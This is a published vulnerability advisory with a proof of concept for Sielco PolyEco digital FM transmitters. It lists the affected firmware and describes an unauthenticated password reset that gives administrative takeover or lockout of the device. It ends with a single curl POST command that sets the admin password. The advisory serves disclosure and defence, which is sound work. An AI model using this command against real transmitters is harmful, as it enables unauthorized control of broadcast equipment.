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## Exploit Title: Sielco PolyEco Digital FM Transmitter 2.0.6 - Account Takeover / Lockout / EoP ## Exploit Author: LiquidWorm Vendor: Sielco S.r.l Product web page: https://www.sielco.org Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19 PolyEco1000 CPU:1.9.4 FPGA:10.19 PolyEco1000 CPU:1.9.3 FPGA:10.19 PolyEco500 CPU:1.7.0 FPGA:10.16 PolyEco300 CPU:2.0.2 FPGA:10.19 PolyEco300 CPU:2.0.0 FPGA:10.19 Summary: PolyEco is the innovative family of high-end digital FM transmitters of Sielco. They are especially suited as high performance power system exciters or compact low-mid power transmitters. The same cabinet may in fact be fitted with 50, 100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500, 1000). All features can be controlled via the large touch-screen display 4.3" or remotely. Many advanced features are inside by default in the basic version such as: stereo and RDS encoder, audio change-over, remote-control via LAN and SNMP, "FFT" spectral analysis of the audio sources, SFN synchronization and much more. Desc: The application suffers from an authentication bypass, account takeover/lockout and elevation of privileges vulnerability that can be triggered by directly calling the users object and effectively modifying the password of the two constants user/role (user/admin). This can be exploited by an unauthenticated adversary by issuing a single POST request to the vulnerable endpoint and gain unauthorized access to the affected device with administrative privileges. Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic Macedonian Information Security Research and Development Laboratory Zero Science Lab - https://www.zeroscience.mk - @zeroscience Advisory ID: ZSL-2023-5765 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5765.php 26.01.2023 -- # Change admin pwd $ curl -X POST -F "pwd_admin=t00t" -F "pwd_user=" http://RADIOFM/protect/users.htm |
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